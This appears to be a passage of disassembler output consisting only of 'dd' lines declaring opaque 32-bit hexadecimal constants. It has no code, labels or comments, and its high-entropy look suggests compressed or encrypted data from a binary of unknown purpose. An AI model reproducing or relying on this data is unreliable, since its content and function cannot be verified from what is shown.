		dd 2A7FFCh, 3D5650B6h, 0C79DBFDFh, 0C01B5700h, 0FF6810A3h
		dd 122B0047h, 0E4666FF2h, 367C6318h, 0B85A3Eh, 8B31510Bh
		dd 0AABA1Fh, 365C3EAh, 0B9431030h, 0ED7D8300h, 0C2D502C8h
		dd 1FB100B4h
		dd 0C0D40DE0h, 240322E5h, 0CF43736h, 0F3C0E55Ch, 0F2F076h
		dd 0A7F2C33h, 3EA0D112h, 9EDE6700h, 0E5D9A824h,	118903Ah
		dd 21B258FCh, 0D0965CADh, 0FD48C474h, 386200E4h, 0A7F10D93h
		dd 0D4F0DDh, 89430ADBh,	0AB366E7Dh, 69809100h, 887AF14Ch
		dd 0E36600A0h, 94C4AF6Bh, 3100E5D7h, 0B0DB5DADh, 5816F6h
		dd 7C24EAFCh, 0DFC879D3h, 0AE497D00h, 0FE0B355Eh, 96E3006Eh
		dd 81E64A7Eh, 0F019CD4h, 39F69434h, 6DF00356h, 251800C0h
		dd 0F48A4DB5h, 7BF884BCh, 65E21F01h, 15335735h,	55F930h
		dd 53448180h, 2660FEA9h, 90C21800h, 0C68D9D1Bh,	0EBA8000Ch
		dd 77624238h, 95076504h, 19AE173Dh, 0A07A4133h,	7299B9h
		dd 0C69D486Bh, 974292A0h, 340393F0h, 18A7761Bh,	5F7BC855h
		dd 6A0801E0h, 0CFFD767h, 0CAD8D375h, 120038C3h,	0A48BBB74h
		dd 7E6B5Ch, 0CD3ABC94h,	9CD3B10Eh, 989D5400h, 73F01216h
		dd 0FD0600D7h, 364B3C35h, 8B00FACAh, 901D49EEh,	3446227h
		dd 6E145086h, 0ECC056BFh, 0CF00C478h, 80ED5FF6h, 841BA4h
		dd 26DBE33Dh, 572C4998h, 2AFC5200h, 22F74FB2h, 0AE16003Eh
		dd 235478D9h, 4CF21A6Eh, 18389100h, 2C72BECh, 4B6500F6h
		dd 6F0D8286h, 6400108Bh, 8962EEC9h, 1184CAAh, 0FE19A121h
		dd 2B3E9A97h, 0A02A3680h, 7C6B0084h, 226289E2h,	0F0F7C5D6h
		dd 0DF0043F1h, 4CD1527Ah, 0A0EB2383h, 0F83C75E8h, 0E4BE5424h
		dd 74E00011h, 0F6619606h, 0B57C8A7Dh, 2FB62B00h, 5827A92Dh
		dd 0AC0A00A1h, 3BBE6403h, 63005034h, 22BC38Ah, 900B81h
		dd 0BF997FECh, 1A24F837h, 8F321300h, 0F43ABB62h, 7E270196h
		dd 11FFC02Ah, 0E929F449h, 0B06A4E07h, 403F6EACh, 0CDE2A5DFh
		dd 0C37500DDh, 0E9710FDBh, 6E3D6CB6h, 89068BD1h, 0AF700021h
		dd 7138EAE5h, 6CD600ECh, 0AA67F5DFh, 0E0B09FA5h, 17B90C00h
		dd 76FD5FADh, 521300B6h, 0B220F92Fh, 0DD7E7179h, 166A7D00h
		dd 0BD79CAAh, 3FA53D32h, 0EF89580h, 396876CDh, 0D100ECE0h
		dd 8F249D98h, 0F0B299F5h, 0BC1500C6h, 45B56950h, 0CF0F8CA9h
		dd 60DB5C60h, 423FDDE9h, 0A6B0046h, 7A40C0FBh, 4800850Fh
		dd 2EFD167Bh, 9560EB4h,	0DF0B1A72h, 0D7B15803h,	746EB08Fh
		dd 131C9B79h, 5980191Eh, 97A2C0D5h, 22E7002Ah, 9020F86h
		dd 1200F736h, 9254B3DEh, 3F899BCh, 466351D8h, 6599C4ADh
		dd 8A553097h, 76BC4E02h, 40D81893h, 0A100910h, 3A468C52h
		dd 70003980h, 77E93566h, 0D7012583h, 0C7232E14h, 0AD700EECh
		dd 0CE690E9Dh, 983E018Dh, 1F17C899h, 2405CC00h,	3DBE1449h
		dd 4E0724E2h, 0D3B600A6h, 513047F4h, 0CA571D01h, 0F8F67C0Eh
		dd 391E20h, 48C48455h, 72165283h, 5E3AA81Fh, 26869F00h
		dd 1896C589h, 38D35514h, 2B02925Bh, 0EFC1503Ch,	0A243B8h
		dd 629FC9B8h, 0C858146Eh, 4263671Fh, 0A3508B40h, 55DD80h
		dd 3E9D1A8Ah, 8759F723h, 0B09ECB00h, 9371ECEFh,	630600DBh
		dd 0E9FCE3F4h, 0FCFD264Ch, 2E00E622h, 2C663EABh, 1DCE359Fh
		dd 0C08EA3C2h, 6FF81337h, 0CB00EC1Ah, 8F5FBC99h, 0BD9442h
		dd 14CAEDF3h, 0CC38C432h, 0C099E00h, 0E4CE37FEh, 0C0812217h
		dd 5233D412h, 0F6E71600h, 543515Dh, 3D211E0Eh, 0DBC0AEA8h
		dd 0C748DAh, 0AF6E685h,	69157C8Eh, 0BDA1B10Fh, 0B81AA3C0h
		dd 5183D094h, 44B72416h, 2E520038h, 0C83A81E9h,	58690C1Ch
		dd 0F6B9CB47h, 0B12BAC50h, 0D1C70089h, 52B4C573h, 0A008DE7h
		dd 349829DFh, 2F167B6h,	0F39A6A07h, 0A4809743h,	0CE3EA420h
		dd 0AEAA2A07h, 9CA7ADA8h, 8891F573h, 35561EFh, 943EFCB9h
		dd 0EBA84629h, 7E00A1FEh, 21E054BDh, 7E37DDA3h,	0E8BF0057h
		dd 87402E3h, 0B272142Dh, 0CE364C00h, 0EE4F732Fh, 6D9000CDh
		dd 0A89B67A5h, 0E928E43Dh, 9A0EA5C8h, 43EE3810h, 0E8585FF0h
		dd 19F1FCh, 0ABCF5B6Dh,	1324FFEAh, 20F6560Eh, 88D1606Ch
		dd 0D3893Ah, 0E51833F0h, 274134ECh, 48964203h, 88DA2279h
		dd 48537F6Eh, 0C800D5CFh, 5F8F385h, 36009980h, 736B4451h
		dd 7906ABh, 1392A5E2h, 0BB197C86h, 0BD5C3C00h, 0C7E45EC5h
		dd 6343000Ch, 10708BB5h, 2260B1D0h, 73BB2F90h, 73D01B9h
		dd 1C50D9F5h, 0E4F83033h, 2C0056E4h, 373BA464h,	28DC0E77h
		dd 498DE7Bh, 3C5D91C9h,	9BA50006h, 304DA1Fh, 4BF7B53Bh
		dd 6CD046D7h, 0CF00FC55h, 6BA87192h, 0A41122h, 3DC99683h
		dd 0E246B166h, 0F53BC200h, 0D3DD574Ah, 5E1311BFh, 9F0E1E87h
		dd 0F26FC4BFh, 0FA527EFDh, 60E50084h, 69AD30C4h, 7500B406h
		dd 0F6AB8543h, 3801C5h,	2E7C3C72h, 0F5A5EE39h, 8EFF1500h
		dd 9CE93EC8h, 551A5CF1h, 0CB852Eh, 362735D6h, 4100FC14h
		dd 2CAB6CA6h, 4F6D80h, 0D190DBCEh, 958689EDh, 64CA0C00h
		dd 3ABA126Ah, 57B000B8h, 0DF791AA1h, 41005075h,	0A4EDD49Bh
		dd 0F6CACDh, 37405D47h,	61C2693Dh, 38B2EF07h, 24D0FF21h
		dd 0DFDCE1h, 429D0666h,	9AB9E403h, 0BB5A5E00h, 616A1F35h
		dd 0EC08280Fh, 859B03FCh, 1E042011h, 4C5867F8h,	0E824D30Eh
		dd 0C0EFEFD6h, 0CE12E43Ah, 0ACE01F27h, 8EFC8F10h, 0A099BBA7h
		dd 0E2D65DFDh, 82CA5B07h, 3510DCABh, 0E498C26Ch, 0A09700F2h
		dd 927739FEh, 24FA2C7Bh, 55A8601h, 93B43C87h, 5050C0C8h
		dd 9DC888Ch, 0CE5649DEh, 180C2974h, 0F6D01891h,	4B6B0052h
		dd 0A6474AF6h, 2F50125Bh, 0CD2274A8h, 0F0FB02F1h, 1DD55F1Ah
		dd 0B2634720h, 0C49E0972h, 9F00D1F9h, 93737CA1h, 7D9D9200h
		dd 4F551E6Ch, 5A25007Bh, 159A77D4h, 0E800A006h,	0B258EE4Eh
		dd 7C47A950h, 3A04005Fh, 0C1281819h, 80C07C77h,	6BC03EF4h
		dd 239B0190h, 83FB2D21h, 9C05C7A8h, 0B14CC668h,	0B5813FC1h
		dd 9976C0E7h, 955D1CB9h, 9F7C8017h, 39B1E684h, 341D2700h
		dd 737A7D6Eh, 5C5E1EFDh, 2977C41Fh, 8F5080DBh, 0E7004CE2h
		dd 468A6EEFh, 0F8C162h,	0D2FDBF03h, 0C98CA3BCh,	0ABB12200h
		dd 17677D88h, 7C560052h, 1685FF24h, 98FE55BFh, 0C0780D30h
		dd 28F8AA08h, 21A8280Fh, 2264CC46h, 29AA4040h, 623EC9BBh
		dd 0FE7FFE86h, 0BC501C38h, 94170E11h, 711AE0B4h, 0A02CFF74h
		dd 10664998h, 5126259h,	0FE57A6BCh, 0EAC1D9C0h,	1BF094h
		dd 85912E0Ah, 0E9754AAEh, 0C9105C09h, 4F7800CDh, 0EB63B1h
		dd 5FAE8F6Ch, 7A201CF8h, 66C19C07h, 986A9212h, 0B4DA7507h
		dd 7D3A47C0h, 38811764h, 202405FEh, 0E406801Bh,	5B004DCCh
		dd 0F54670B7h, 9442C10h, 7AC0CE2Dh, 0FC349480h,	0DE00F48Fh
		dd 41E135A3h, 1D830BFh,	0FABF33Ch, 41759A7Dh, 10A076A0h
		dd 0E0D9C7h, 0FF505EB9h, 551A87CAh, 6B63DAB8h, 0A078E820h
		dd 0A3C3919h, 0FCABB22Ah, 0F21301FDh, 50E2CEE1h, 19EBF8B8h
		dd 6435E05h, 9D80301Fh,	0C0E48CBDh, 6108C8A8h, 6C004512h
		dd 186F79EEh, 0CF4652h,	3A5366DDh, 0F5B4BFD1h, 9E0DF00h
		dd 0B31901A5h, 1A240929h, 0CC003448h, 1C4E6E64h, 80CDBB3Eh
		dd 0A75A251h, 0E6048AFh, 4C2C22E5h, 3F4F2F83h, 0E9AE3DF8h
		dd 26041C98h, 9E74531Eh, 0F8B53701h, 9919F0FCh,	6088A324h
		dd 4C00F3A4h, 0ED55AD4Bh, 440A0F6Eh, 70050C4h, 0AF8C3360h
		dd 740B7D00h, 0F6A71C51h, 479606E3h, 0A09808D9h, 0A6BEA41Eh
		dd 95FB6605h, 23728C40h, 0E2B7E7E8h, 3AF10524h,	80F369C4h
		dd 3266C86Eh, 61033D03h, 0B001FE74h, 901933CBh,	0C19007A0h
		dd 204B8D65h, 8907E703h
		dd 61C2D4Dh, 0EB73EF6Fh, 980B29D0h, 0F98300B4h,	0F025D358h
		dd 33026B90h, 22165A7Fh, 568CC002h, 710B0224h, 0E17DC61Ah
		dd 8C00B4C4h, 2C96ED0Eh, 0B98CFC2h, 0D678FE89h,	0E323FD0Fh
		dd 1001FDE7h, 355881ECh, 0F2CC9BBDh, 4DDF2877h,	0C54C0EC4h
		dd 56632557h, 81C00476h, 0B0C02BA7h, 3F08FD93h,	2FE600BAh
		dd 4D4756A9h, 0C73AF703h, 0ABEC8076h, 94F031FEh, 0ED060002h
		dd 439FA33Fh, 0A4B140DEh, 38D33300h, 304D8D35h,	0EA908CD1h
		dd 90051F5h, 6DAB7522h,	203A2h,	7E44F3F9h, 266B814Eh, 4019BFCh
		dd 0C71641AEh, 0E1EDA59Ch, 18539840h, 0D09F00D3h, 5CAD9A09h
		dd 51008CA0h, 0ECCB95Ah, 4CB212A8h, 6E00DC74h, 0F802D1E7h
		dd 7701E6Bh, 5EA04B02h,	68AE21D2h, 13CA08A8h, 4005B7F9h
		dd 394D1F48h, 0CC0B2161h, 0A0DAC52Dh, 42B32CA8h, 0D26E001Ah
		dd 0DD83A8C2h, 0C80110F8h, 26EEDB76h, 0DFD8AC6Ch, 0C0467B87h
		dd 4777C551h, 33003528h, 0DEEA5861h, 9B8625h, 16A0A47Ah
		dd 0B1C1B95Bh, 902F6200h, 5758D7C3h, 6F4D5882h,	70FAAD00h
		dd 50AFB31Fh, 9A693100h, 0FB903638h, 2C59706Dh,	407CEBD4h
		dd 0EDC48BDBh, 0A80001F0h, 0B7C0C66Ch, 1D0A94F5h, 877A9F17h
		dd 60B983B3h, 0D2A8C77Eh, 0EA605700h, 134C086h,	0CCA500E4h
		dd 0D18EDF7Ch, 13E4BB44h, 1F47D0BDh, 0C04ABF2Dh, 0C4827077h
		dd 61096778h, 80BBE0FDh, 3E230504h, 0F616001Ch,	0FEB965D4h
		dd 0E4009F74h, 31E161B7h, 0C566A3h, 0FA73DFA8h,	0CBF79EBAh
		dd 9149DDA0h, 14B36C09h, 9B788750h, 786B32h, 2F5B2B55h
		dd 54E5800h, 9727FBCDh,	0A4990745h, 1042E009h, 5C11FC38h
		dd 76B43Ch, 0E13CCDFAh,	58B2F377h, 8128A968h, 291005AFh
		dd 0C028970Fh, 0E3C7FED0h, 5D329480h, 75730C73h, 0A8F685h
		dd 87AF3C93h, 0E072ABC6h, 0C5004090h, 2A317FA9h, 67C137Dh
		dd 19ED01DCh, 8C009ECAh, 0F3D3A470h, 24353Bh, 2F60B873h
		dd 6E6DFAE1h, 8483CD3Ah, 0D953562Eh, 7AF77180h,	90197327h
		dd 0D4F60Dh, 6FB7CAE6h,	0E8C6D562h, 85723Dh, 0B37B05D1h
		dd 7E1FC5Dh, 0EBA09F2Eh, 38DDB0E3h, 0C500654Ah,	0BDD3F05Eh
		dd 1FDC3CDFh, 0C00E264Eh, 74EF2032h, 7B716F35h,	5286FF13h
		dd 43A0D00h, 2BDFE4h, 548E07C8h, 560168C6h, 0C0782900h
		dd 625BD6A9h, 421A1C2Bh, 3F090067h, 59908B32h, 661D1500h
		dd 6A48CF7Dh, 885700FCh, 0A3407A8Ch, 1E00F634h,	7F5EC016h
		dd 1B061B1h, 88B37039h,	41FFD3F9h, 50979154h, 328F379Ch
		dd 0D8ABB001h, 0ECF112B3h, 0DAD4E0h, 7B9B3438h,	115AE90h
		dd 0F2758E78h, 31B27507h, 88D08FB9h, 0CD3BE8h, 0A16F43ADh
		dd 2B8C31Ah, 8DC75600h,	7EE234A6h, 0C1DB001Fh, 4606138h
		dd 0BF03BD5Fh, 0B132AE9Eh, 8480048h, 0F833BC6Bh, 3DFCE1A0h
		dd 35982817h, 0FA54841Dh, 0FBBE01A8h, 9B3ACE25h, 0B907E06Bh
		dd 0B7784D70h, 817C5A18h, 307269A0h, 8459FDA6h,	2C01F1EBh
		dd 0C17A469Fh, 44EC9D10h, 9380394h, 0DE0F22D2h,	6E88EDB0h
		dd 40134D0Eh, 1ABA408Ch, 3A846225h, 158031F5h, 0A3AC5C16h
		dd 433ABEE3h, 66398072h, 958C36DAh, 21C91C3Dh, 0A1B140EAh
		dd 30BB7932h, 5CC6E800h, 9FD2B20Ah, 7AB70096h, 69D5F433h
		dd 53783935h, 0DEC4CF00h, 4434FD5Ah, 0F21900D6h, 0E1F98B68h
		dd 9801CC04h, 4F87A422h, 24F84A60h, 0D5961CA8h,	0AD99807Fh
		dd 0BC1CB2D1h, 0CBF07D63h, 356EC061h, 6CB500FAh, 4A62AFE2h
		dd 9B003BF6h, 0CDB0719Dh, 0D73D19h, 0D94B48E5h,	0A99279CFh
		dd 8B2EE200h, 3C9B4DFDh, 743A019Dh, 0ED61A4F5h,	6078C4E1h
		dd 0F4B9FB00h, 0A230797Ah, 0DA0F0010h, 0D962B44Fh, 0E8F4C338h
		dd 0FD015EEAh, 6B2BCD4Eh, 5CE8E0F9h, 0C4870023h, 0C5505576h
		dd 94019720h, 92F20213h, 0CAF8119Ch, 0EA4300CDh, 161FEB22h
		dd 4B01DBC8h, 15D13628h, 0F020B3B2h, 0E6D80023h, 9E7DFEDCh
		dd 9B0099CDh, 0FFA20F71h, 0EA1F97BDh, 80A9004Dh, 483A7C7h
		dd 0C82E376Dh, 0BC1EB7F6h, 0AFD93845h, 0BE05B000h, 0ADEC5Ah
		dd 57D5BDA1h, 0EE3041FCh, 9928E200h, 0FE4B469Eh, 784F71E3h
		dd 54AA0022h, 0F2CF317Ch, 4724D9FAh, 0DC00289Ch, 8CD2C4E7h
		dd 0ED795Ah, 0C39EA6B5h, 0D5D8E5A9h, 9D3DD600h,	63A8A460h
		dd 3E1BEA2Eh, 0A3006444h, 42026685h, 2A1D16D0h,	0FE402F6Dh
		dd 7D14E10Ch, 53EF015Ch, 166F8956h, 4EC8F06Ah, 0F8CE8501h
		dd 0CFDBC4BEh, 632F60CAh, 0B345005Eh, 49AEF497h, 6B3C9888h
		dd 0D67F800Fh, 0F1329F92h, 0E2890CCh, 8B3DB991h, 7A96B4C0h
		dd 0DE07DBFEh, 0A0C46D81h, 2702AB80h, 84F8C9h, 0D9F930B6h
		dd 0A7D27F86h, 0DEFF8903h, 0E062D52Bh, 411C9h, 7358273Eh
		dd 6EF18C35h, 6001D0D6h, 4D318446h, 9AB6370h, 6A881D3Bh
		dd 11B24400h, 0F9797A28h, 35C2E100h, 1ABE4225h,	8800040h
		dd 696BAB59h, 0DC18C145h, 1B8CDA9h, 0E8392444h,	28D012Bh
		dd 0F41CFF14h, 470096B2h, 2AB5CCD6h, 3CD79780h,	2700C62Eh
		dd 7A70A233h, 0A9010E91h, 0C0ECFE6Dh, 0F043808Dh, 0C4BCD84Fh
		dd 0E0F482h, 4C2EF1C8h,	6F364904h, 87035EF6h, 0BD88BC9h
		dd 189C80AFh, 0E9FC05h,	25E84C79h, 628A44CCh, 6A2FB503h
		dd 98D877F8h, 0C17BD5h,	56155F1Ah, 0C5B4D3A0h, 0D4AFE000h
		dd 0ECD1B1D9h, 3E3200A5h, 0E6979FB3h, 27716AAAh, 2F078CE0h
		dd 55C8D0CEh, 7AD2A2A0h, 0F8C50034h, 0BD8B8192h, 1F3F992Ch
		dd 0B25680DEh, 33C3BEB0h, 0ABC5002Bh, 80BDFB6Ch, 7817B99Dh
		dd 0B9001699h, 7C380983h, 0BAFA60h, 0A42DDF90h,	0CF46C959h
		dd 865E0A07h, 6C092B4h,	2571448h, 8B96C88Ah, 9D60310Ch
		dd 4000AAB3h, 0C9AF37CCh, 7138BA48h, 523E00BBh,	0DF263F2Ch
		dd 490B79B7h, 4B3429h, 22C95639h, 0C86400B9h, 301A0939h
		dd 0C48A25Bh, 6A570144h, 0D7F95A25h, 28121180h,	18D46B49h
		dd 0DE2BB800h, 0D7CA8132h, 0BE933CF6h, 0F125F882h, 67C0451Dh
		dd 996064DEh, 0D88F44C8h, 9E2000FDh, 94AF73A2h,	0C4001355h
		dd 0D77E6EA3h, 278A8Bh,	31D8E73Dh, 41AEDC43h, 4022C830h
		dd 0E3D3FC4Eh, 184B1000h, 0FD1586E8h, 94BF88h, 0D61329DBh
		dd 55421h, 10EB6B43h, 4139B8B4h, 0B0C2C90Eh, 0CFA8A016h
		dd 45D2DEh, 0B715AD5Bh,	0B19AD40Bh, 7FDA2800h, 49EACFE4h
		dd 0FC260080h, 34E7A646h, 1A002DE1h, 1B4C5065h,	0AE5429h
		dd 9871D547h, 0E52B4D62h, 43795200h, 0C0DB19AAh, 970A07E9h
		dd 700681B2h, 2780BBD4h, 93A52B00h, 777B26D5h, 0E00400DDh
		dd 49CE96FDh, 0CA003EE8h, 7A750B2Ch, 313382h, 5288E5A1h
		dd 0BDE94A74h, 2E782D00h, 389A8A48h, 58A17B60h,	7100CDCEh
		dd 4D3F6480h, 3098E265h, 28A7B726h, 9F004493h, 6FE0EB6Ah
		dd 75970021h, 88BB4290h, 0A63CE31Dh, 0AA79000Ch, 34EAFD07h
		dd 708100E5h, 9A887E3Ah, 0F11FFE1Fh, 8B01717Bh,	857A7C99h
		dd 0A94AECh, 0B492CB17h, 8ABA570h, 0F14FF07h, 2D90237Ah
		dd 0A0BCE1h, 3DC6B13h, 7B774DC7h, 767A0B00h, 0F789BAF3h
		dd 0B88C032Fh, 35F0D97h, 0EEB328D8h, 3B1D9679h,	18C2E74Fh
		dd 4A4BDC30h, 4F80858h,	6A00DC55h, 16983C3Fh, 536436D2h
		dd 0DBB838CCh, 10067330h, 0CF660Ch, 9B65D28Ah, 6456B1BAh
		dd 71E58801h, 74CDBC7h,	32374C30h, 6F290C41h, 0E36E6110h
		dd 9106802h, 843890Eh, 24784427h, 8F92284h, 26115742h
		dd 1D402113h
		dd 6B426251h, 1C105821h, 44011D84h, 0D944A5FFh,	4278486Ch
		dd 132405BCh, 1216C521h, 0D6B511F4h, 792726h, 0D1718436h
		dd 0A9A47A7Dh, 0F23BC400h, 37620961h, 0D5100E18h, 0A0202B72h
		dd 816995ECh, 0A9513C00h, 710D7A48h, 0E4B20030h, 7855FFC1h
		dd 0DA00EC4Fh, 336C2B4Eh, 9B70Fh, 0BDADA46Eh, 0A80A9DF8h
		dd 0E9B37500h, 2925A737h, 199E006Dh, 70306EAFh,	9B00EC3Ch
		dd 0A1971F5Ch, 37E885Fh, 0A9863D09h, 74E8BFDCh,	3F1D4BD8h
		dd 1180CECDh, 7152856Eh, 23070054h, 2F3CA996h, 3A06C0B2h
		dd 0E1CCAC7Fh, 4B240011h, 802C89A3h, 0EC000B20h, 9C439413h
		dd 0CE341Eh, 0A306442h,	2E3BCAB4h, 0F1491173h, 8E3E0030h
		dd 4A40C351h, 0F3B400DBh, 2D62A7DEh, 69008AB1h,	1D3C2E47h
		dd 116732h, 98B733D5h, 5CFE77FDh, 84F9200h, 0C3AD1C7Ah
		dd 4B4100CCh, 215D024Dh, 4500DBAAh, 9CB7B469h, 0C924B6h
		dd 99A9EB18h, 0D5255DD4h, 2E0044FCh, 14069AFFh,	0B5C507h
		dd 0F01659FEh, 0F663D902h, 7C9BA012h, 6CB38000h, 0CBE06Ah
		dd 0BD454A23h, 512955FCh, 2D3CCC16h, 22013216h,	0AD2E231h
		dd 5363C8h, 0D0F40786h,	5A0F610Dh, 0DCC8F701h, 360130DAh
		dd 3048BF8h, 2D41B01Eh,	0DB80F1B8h, 0C3011985h,	0F5ECBE15h
		dd 29C0AD7Ch, 3ED00C2h,	2B48E869h, 24007F09h, 3320A974h
		dd 3F3A2ABh, 0E1355CEAh, 7EF8B2A0h, 7500AF0Fh, 0F0BB6C3Dh
		dd 0B6FDD7h, 0D0DCA1CAh, 5CD989F5h, 1BEB4000h, 15808FE2h
		dd 4ECC7978h, 13A875h, 0D710D8C8h, 0CA1FD3h, 2C922962h
		dd 0CDCF20FAh, 0E54DA58h, 21C64C9Fh, 887055Eh, 3BE45C0h
		dd 530AC74Fh, 14F88A8Ch, 0B70064D4h, 7E29FCAFh,	934107h
		dd 578EC1B6h, 1ECED6F3h, 71008575h, 0D17B614Eh,	591A83h
		dd 56688C80h, 94B9510Dh, 1DB1F71Eh, 4FD814C0h, 1841050h
		dd 84A92A8h, 0EC2290D1h, 6D0004BAh, 0ACFC2E99h,	0E6E183h
		dd 662DB006h, 0E88562BEh, 8D2C024h, 0A05F7200h,	80D336DFh
		dd 3800DE0Bh, 0BDEB91E3h, 4E1637h, 8AE6D79Ah, 5F8304D5h
		dd 11ABC002h, 68608984h, 90B873BCh, 0CA7901C8h,	82C1566Fh
		dd 0D0EC408Dh, 6900AF6Ch, 0E6D6BEDh, 189B4091h,	20E805DEh
		dd 90042E2h, 8AA97CC4h,	0C1286Bh, 87717996h, 0C0B6367Eh
		dd 78741900h, 0B8AE44F8h, 0B7160205h, 5AEA6630h, 0E61EE5F4h
		dd 9958F940h, 2E8BDFCEh, 0AF2992h, 9F7CA14Eh, 5E002FC8h
		dd 0FD874B6Ah, 0F805B4DAh, 23BA008Ah, 0E977A327h, 6F014D2Ah
		dd 0D471C10Ch, 0BBD08834h, 0DC3B00C9h, 0D7477BB4h, 22009BBAh
		dd 27D0F7EFh, 0E405CD0Ch, 66DA009Fh, 0B362CF99h, 7300DECAh
		dd 0FECB0445h, 0DC14C4h, 0B6F1D5C1h, 0B91AC6E7h, 0BC2EB200h
		dd 16425F80h, 4CFD24A2h, 212F1h, 27D6B0B4h, 9000EAC2h
		dd 633D8466h, 644AABh, 0C90AE20Ch, 68F3B5C8h, 95A67B00h
		dd 41EE849Ah, 0F0BF07D8h, 0F04B1235h, 0CC232AF5h, 9F3BAE75h
		dd 80CEBDC0h, 0EA421CAAh, 7128D0h, 9DBD614h, 0ACD322B6h
		dd 0E8912100h, 8C4CF005h, 0EF3D005Dh, 0E6884866h, 36092AE5h
		dd 802C25C2h, 0DA144278h, 26A2F862h, 9C6D7Ch, 0B7F65A8h
		dd 0D2783BB6h, 0C2018B00h, 0C0B39FDCh, 343600BEh, 0D5E53FD7h
		dd 24E71B44h, 70009020h, 655526B7h, 4D53DFh, 0E1F1F429h
		dd 5A75CCEAh, 0CE071974h, 0B2E78CDCh, 33B65CD0h, 518D0025h
		dd 0C804A5A0h, 0DC24F941h, 0E70055B7h, 184C3EB8h, 0AA11132Ah
		dd 0B1B84009h, 0DC534069h, 4CD0BB26h, 24C7500h,	301BAD97h
		dd 1868B736h, 0AF039C94h, 0B68D8C01h, 0E96BB004h, 0FC03FAE8h
		dd 71F100D7h, 0C0BF6025h, 0E307440Fh, 0D41E9047h, 0EA6F6C62h
		dd 0B56B8020h, 0BEDA7Dh, 49B28640h, 0CA69948Dh,	20D7D826h
		dd 74265701h, 0A0C0FFD3h, 0B61500F3h, 0BDFA595Dh, 2A0292F1h
		dd 0E46C9F96h, 2680C06Bh, 0DBCD00C2h, 9A1555B1h, 7A0049CFh
		dd 4804A847h, 7BA53Dh, 30374B8Bh, 0A17E5328h, 0E984D650h
		dd 26645095h, 0C33332h,	0F9B36725h, 0A60089E3h,	4A6D5E9Bh
		dd 561E9Fh, 42BE6B6Fh, 788D9AA1h, 8ABAB400h, 0CD959AAh
		dd 1A923A6Dh, 28549825h, 0B80FF01Dh, 82090044h,	3BDE565h
		dd 128AC121h, 0D59174CFh, 1AB7D41Dh, 1681CE03h,	88BF52E2h
		dd 3A02AC43h, 0D20E7826h, 0D6E51B95h, 0D138B05Dh, 980039E0h
		dd 0F5EFEBB7h, 3D1279AAh, 0F08066FEh, 64C0346Fh, 0F400285Dh
		dd 2FABECA8h, 3F04846Bh, 8B02F541h, 7D5F14Eh, 0AF14C880h
		dd 571D9658h, 0EA479201h, 0A660E73Dh, 0CEB6D7h,	0B7F6A9F5h
		dd 58E2AD95h, 2348F890h, 0AEC980A8h, 0F8E3717h,	6A08D5EFh
		dd 2B5EDBC0h, 0B676E7CEh, 151E7C00h, 8C65CCC2h,	0EE9D0025h
		dd 0B42C29E2h, 3F00692Dh, 163DF128h, 0A0B9D5FAh, 86AC8Fh
		dd 2D682297h, 1F2CF264h, 0E5196500h, 0C14EBB29h, 0C5B500C0h
		dd 92CB537Ah, 9C4C7EDDh, 0EE1E1990h, 8360ECC0h,	323100D4h
		dd 0FC25C35Bh, 0C6002F47h, 6B6CCF7Ch, 67AAF4h, 8EDE7A23h
		dd 83C98F7Fh, 0A291C316h, 34D846A0h, 3DCA893h, 957C3FD0h
		dd 82036EE7h, 0AF0FE5Dh, 47007ECFh, 5BECC5FFh, 317F562h
		dd 0FE382D64h, 0FCC027A5h, 0C70EC9E1h, 8ECE974Eh, 1AEA6021h
		dd 90A44201h, 3EEE0044h, 1F0C52C2h, 4C482402h, 0EC60088h
		dd 73614887h, 5C7400F1h, 0D35DA772h, 793D6D76h,	17930099h
		dd 0E3ABC212h, 0DB9E012Ch, 4B5FF548h, 867B3047h, 0D8A9CB00h
		dd 714F363Eh, 0C090C3h,	0FDA176C2h, 496AB2E8h, 28254270h
		dd 73547Fh, 5B8C3B8Dh, 821C5ACFh, 0E5402523h, 0F0D866E7h
		dd 0F7C900A8h, 0ACFF10F8h, 9C00483Dh, 0BD525683h, 1964C18h
		dd 68C0F4AAh, 2020A269h, 2312CD31h, 0D4002CEBh,	3A3530C7h
		dd 9060E95Dh, 90E70F9Ch, 0C3C0C0D2h, 0AD1AFBDFh, 32794000h
		dd 6BEAAF53h, 10845D37h, 8B964400h, 0E831C3D5h,	0F1FF4A01h
		dd 52204FF9h, 24B7AFC4h, 25DE2FAh, 0C51D8928h, 0AA32840h
		dd 0AEFF1300h, 59D05D08h, 0E8380093h, 5BAF7176h, 9C009104h
		dd 0D3014129h, 0CCE054h, 0EED5BDC6h, 6FDB2F5Eh,	0EB0FD0A0h
		dd 0D1A2351Eh, 2D3189h,	0C4882965h, 9EE814C9h, 510ED06Ch
		dd 13808174h, 78CC161h,	0A07BB607h, 0F74089E5h,	7E51ACh
		dd 3F36BF4Fh, 0E3E207EAh, 89BD250Fh, 40838009h,	49FACh
		dd 9748F86Ah, 0F3BA60B1h, 8402FA04h, 65C0FC67h,	0CE015Fh
		dd 0CD1D4A03h, 0D4400A15h, 0DEA1081Fh, 7801719Dh, 86952957h
		dd 9930B4D1h, 938E014Ch, 0B6B16C0Eh, 23892001h,	397D7400h
		dd 53C8DF05h, 8D8B00B2h, 63EB99E0h, 23002B98h, 7564F95Ah
		dd 4CEA34h, 0A64349ACh,	0B6C00E85h, 0D958E30Eh,	1F0A0033h
		dd 64678h, 0D7150C41h, 8CCA6AADh, 80F5703Dh, 780450E1h
		dd 63B169h, 8B22814Eh, 0EDFB9894h, 2C1720E1h, 0D9238700h
		dd 8062996Eh, 6F571D31h, 7E08424Eh, 1DE2B337h, 0A2773F80h
		dd 0D41EEE81h, 8E0972AAh, 260C18BCh, 5390040Fh,	0C15B7301h
		dd 0C07E1F48h, 46008342h, 397AC8A1h, 0B60E16h, 0ADD82C45h
		dd 56C758A0h, 8499E900h, 3BB0A84Ch, 12C41FD3h, 55E343CAh
		dd 3098F2ACh, 0FD7A88DFh, 82B42F38h, 3A53738Dh,	1314E090h
		dd 5F960463h, 0F02C07F8h, 0C1038DCh, 6000BF31h,	80D7CBA6h
		dd 0D97A5196h, 9C357907h, 9003DEBh, 3E6C2684h, 0DA802B48h
		dd 785C51AEh, 7E3DC001h, 4FCD8034h, 8BE1CB03h, 9C530061h
		dd 0DA602081h, 0D001833Ch
		dd 66C2B9BCh, 52208F5Eh, 1F2377A3h, 939CECh, 1C95506Fh
		dd 0C7E05E7Ch, 0F6A2FB07h, 0D605567h, 98A37C4h,	817DF2CCh
		dd 0B8ECDE80h, 380B6186h, 0FEB02892h, 0DABF0046h, 20A33BEDh
		dd 97117E00h, 2F18E0C6h, 7653B0F8h, 877F0243h, 0CE51A580h
